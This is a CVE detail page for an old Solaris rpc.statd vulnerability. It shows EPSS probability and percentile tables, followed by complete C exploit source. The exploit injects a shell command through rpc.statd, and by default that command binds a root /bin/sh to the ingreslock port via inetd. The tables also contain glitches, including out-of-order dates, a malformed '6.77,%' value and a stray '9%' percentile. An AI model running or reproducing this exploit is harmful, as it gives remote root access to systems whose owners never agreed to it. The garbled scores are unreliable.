CVE-1999-0493 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.48%	–	–
2022-02-13	–	–	4.48%	–	–
2022-04-03	–	–	4.48%	–	–
2022-12-25	–	–	4.48%	–	–
2023-01-01	–	–	4.48%	–	–
2023-02-26	–	–	4.48%	–	–
2023-03-12	–	–	–	1.31%	–
2024-02-04	–	–	–	1.31%	–
2024-03-03	–	–	–	1.31%	–
2024-06-02	–	–	–	1.31%	–
2024-06-02	–	–	–	1.31%	–
2024-12-22	–	–	–	1.43%	–
2025-02-02	–	–	–	1.43%	–
2025-01-19	–	–	–	1.43%	–
2025-02-02	–	–	–	1.43%	–
2025-03-18	–	–	–	–	7.03%
2025-03-30	–	–	–	–	6.77%
2025-04-15	–	–	–	–	6.77%
2025-04-15	–	–	–	–	6.77,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	71%
2022-02-13	72%
2022-04-03	88%
2022-12-25	89%
2023-01-01	88%
2023-02-26	89%
2023-03-12	84%
2024-02-04	85%
2024-03-03	86%
2024-06-02	86%
2024-06-02	86%
2024-12-22	86%
2025-02-02	87%
2025-01-19	86%
2025-02-02	87%
2025-03-18	91%
2025-03-30	9%
2025-04-15	91%
2025-04-15	91%

// source: https://www.securityfocus.com/bid/450/info The rpc service rpc.statd, shipped with all major versions of Sun's solaris, is the status monitoring service for NFS file locking. The vulnerability lies in rpc.statd's ability to relay rpc calls to other rpc services without being validated by the access controls of the other rpc services. This can give the attacker the ability to redirect malicious rpc commands through rpc.statd (which runs as root) to services they may not normally have access to. /* Developed by some guys who don't want to goto jail when WIPO passes. :) */ /* Bug fixed on Aug 16 16:28:30 GMT 1998. */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <rpc/rpc.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <rpcsvc/sm_inter.h> void usage(char *s) { printf ("Cache name is the hostname of the remote system.\n"); printf ("For example, blue.net, might be either blue or blue.net.\n\n"); printf ("Usage: %s hostname <cachename> <command>\n", s); exit (0); } int main (int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct stat_chge ntf_arg; struct hostent *hp; struct sockaddr_in target; int sd; char attack[1024]; if (argc < 3) usage(argv[0]); if (argc==4) sprintf(attack, ";%s", argv[3]); else sprintf(attack, "; echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob &"); memset(&monreq, 0, sizeof(monreq)); monreq.mon_id.my_id.my_name = argv[2]; monreq.mon_id.my_id.my_prog = (unsigned long) 100099; monreq.mon_id.my_id.my_vers = (unsigned long) 1; monreq.mon_id.my_id.my_proc = (unsigned long) 1; monreq.mon_id.mon_name = attack; monreq.priv[0] = '/'; memset(&ntf_arg, 0, sizeof(ntf_arg)); ntf_arg.mon_name = attack; ntf_arg.state = 1; if ((hp = gethostbyname (argv[1])) == NULL) { printf ("Couldnt resolve %s!\n", argv[1]); exit (-1); } target.sin_family = AF_INET; target.sin_addr.s_addr = *(u_long *)hp->h_addr; target.sin_port = 0; sd = RPC_ANYSOCK; tm.tv_sec = 10; tm.tv_usec = 0; if ((cl = clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit (-1); } stat = clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res = %d.\n", monres.res_stat); stat=clnt_call(cl, SM_NOTIFY, xdr_stat_chge, (char *)&ntf_arg, xdr_void, NULL, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); clnt_destroy(cl); exit (0); }